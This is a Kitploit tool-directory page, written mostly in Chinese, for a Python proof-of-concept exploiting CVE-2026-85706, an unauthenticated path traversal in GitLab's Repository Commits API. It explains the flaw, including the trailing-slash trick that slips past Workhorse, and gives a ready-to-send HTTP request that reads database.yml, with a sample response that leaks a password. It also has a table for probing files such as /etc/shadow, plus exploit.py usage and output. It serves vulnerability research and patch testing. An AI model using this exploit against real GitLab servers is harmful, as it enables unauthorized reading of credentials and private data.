Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-85706 — Python PoC for CVE-2026-85706, an unauthenticated path traversal in GitLab CE/EE Repository Commits API that leaks arbitrary local files via a four-state oracle. | Kitploit
Tools/GitHubGitHub/mhtsec/cve-2026-85706
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration Testing
GitHubmhtsec/cve-2026-85706

CVE-2026-85706

Python PoC for CVE-2026-85706, an unauthenticated path traversal in GitLab CE/EE Repository Commits API that leaks arbitrary local files via a four-state oracle.

View Repository
111h 22m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-85706:GitLab CE/EE 未授权路径遍历

  • CVE:CVE-2026-85706,CVSS 3.1 10.0(AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
  • 组件:GitLab CE/EE Repository Commits API(Workhorse body-upload 变体)
  • 影响:18.7 ≤ version < 19.1.8、19.2.0–19.2.5、19.3.0–19.3.1
  • 修复:19.1.8 / 19.2.6 / 19.3.2(2026-09-10 关键补丁发布)
  • 危害:无需任何账号路径遍历读取服务器上的任意本地文件;内容能否回显取决于目标文件,构成四态 oracle(见「回显边界」)

漏洞链路

GitLab 的「创建 commit」API(POST /api/v4/projects/:id/repository/commits)允许单次请求携带大量文件内容。为避免超大请求体直接进入 Rails 解析,Workhorse 会先把请求体落盘为临时文件,再把 file.path / file.size 等元数据注入转发请求,Rails 端点按这些参数读回文件。漏洞链路由四个环节叠加:

  1. 认证在文件读取之后:post ':id/repository/commits' 入口只有 require_gitlab_workhorse!(仅校验"经 Workhorse 转发"),真正的 authenticate! 藏在后面的 authorize_push_to_branch! 里,而路径遍历读取发生在它之前。
  2. 落盘元数据取自请求参数:file_params_from_body_upload 直接把请求参数 file.path / file.size / Content-Type 当作 Workhorse 注入的元数据,不区分参数来源,File.read(file_path) 即可遍历任意本地路径。
  3. Rack 解析错误回显:Content-Type=application/x-www-form-urlencoded 时,文件内容交给 Rack::Utils.parse_nested_query 解析;内容中的非法 %-序列触发 ArgumentError: invalid %-encoding (<组件内容>),经 bad_request! 原样回显进 400 响应。回显先到先得:& / = 是组件边界,解析在第一个非法 % 所在组件处中断并回显该组件,无分隔符时整个文件作为一个组件整体回显(合法的 %xx 十六进制转义不触发错误)。
  4. 尾部斜杠绕过 Workhorse 改写:直接打主端点会命中 Workhorse 的 body-upload 拦截(严格匹配 .../repository/commits\z),伪造参数被吞进落盘文件内容。URL 末尾加 / 即不匹配该规则,落入兜底的签名反向代理——原始请求体连同伪造参数原样转发给 Rails 且携带有效 JWT,require_gitlab_workhorse! 通过;Grape 归一化尾斜杠后仍命中漏洞 handler。

前置条件:URL 中 :id 必须是真实存在的项目(任意公开项目即可),全程无需登录。

利用请求(外置 DB 部署下的 database.yml,密码含非法 % 序列时整段回显):

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/var/opt/gitlab/gitlab-rails/etc/database.yml&file.size=1&Content-Type=application/x-www-form-urlencoded

响应(首个非法 % 所在组件整段回显):

root@kitploit:~
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (production:\n  adapter: postgresql\n  username: gitlab\n  password: \"P@ss%w0rd\" ...)"} 

回显边界(四态 oracle)

读取以 Puma 进程的 git 用户身份执行,响应构成一个四态 oracle:

默认部署下的实际可读范围(实测):

  • 内容读取的主战场是天然含 % 的文件:CI 构建日志与产物、用户上传附件、外置 DB 部署的 database.yml。database.yml 在默认本地 socket peer 认证下密码字段为空,仅外置 DB 部署才有值。
  • gitlab.yml:渲染后的模板注释在文件头部(约第 19 行)就存在 95%、%{key} 等序列,而凭据配置(incoming_email、LDAP、对象存储等)都在 170 行之后——先到先得意味着默认部署下只能回显头部段,凭据段读不出;仅在无干扰序列的部署变体(自定义模板等)中可读。另注意 SMTP 密码(gitlab_rails['smtp_password'])不渲染进 gitlab.yml,实际渲染进去的是 incoming_email、LDAP、object_store 凭据。
  • secrets.yml 为纯 hex 不含 %,读不出内容(401);gitlab.rb、TLS 私钥、备份归档为 root-only(仅 500 oracle)。
  • 四态 oracle 本身也是侦察原语:探测内部路径结构、/proc/self/* 进程自窥、按项目 ID 换算 @hashed 路径探测私有项目存在性。

脚本用法

Python 3 标准库实现,无第三方依赖。脚本按上表自动判读四态结果。

root@kitploit:~
python3 exploit.py -t http://<target>:<port>        # 默认读 gitlab.yml(快速验证回显)
python3 exploit.py -t http://<target>:<port> -f /etc/passwd

示例输出(默认部署读 gitlab.yml——回显的是头部段而非凭据段):

root@kitploit:~
============================================================
  CVE-2026-85706 | GitLab unauth path traversal | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http://<target> -> /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] HTTP 400 | leaked
[+] Leaked content of /var/opt/gitlab/gitlab-rails/etc/gitlab.yml:
------------------------------------------------------------
# This file is generated by GitLab. Manual changes will be
# overwritten! ...
------------------------------------------------------------

仅用于授权安全测试与漏洞研究。

Download Tool
响应含义示例
400 local file not present文件不存在/etc/nonexistent
500 Internal Server Error存在但 git 用户无权读(Errno::EACCES 未处理);multipart 分支对可读文件的解析错误同样落到 500/etc/shadow、/etc/gitlab/gitlab-secrets.json
401 Unauthorized存在且可读,但内容无非法 % 序列,不回显/etc/passwd、/proc/self/environ
400 invalid %-encoding (<内容>)存在、可读且含非法 % 序列——所在组件整段回显含 % 的日志、CI 构建产物、外置 DB 的 database.yml
参数说明
-t目标 GitLab 地址(必填),如 http://<target>:<port>
-f要读取的绝对路径(默认 /var/opt/gitlab/gitlab-rails/etc/gitlab.yml)
-p项目 ID,任意真实存在的项目即可(默认 1)
-o将读出的内容保存到本地文件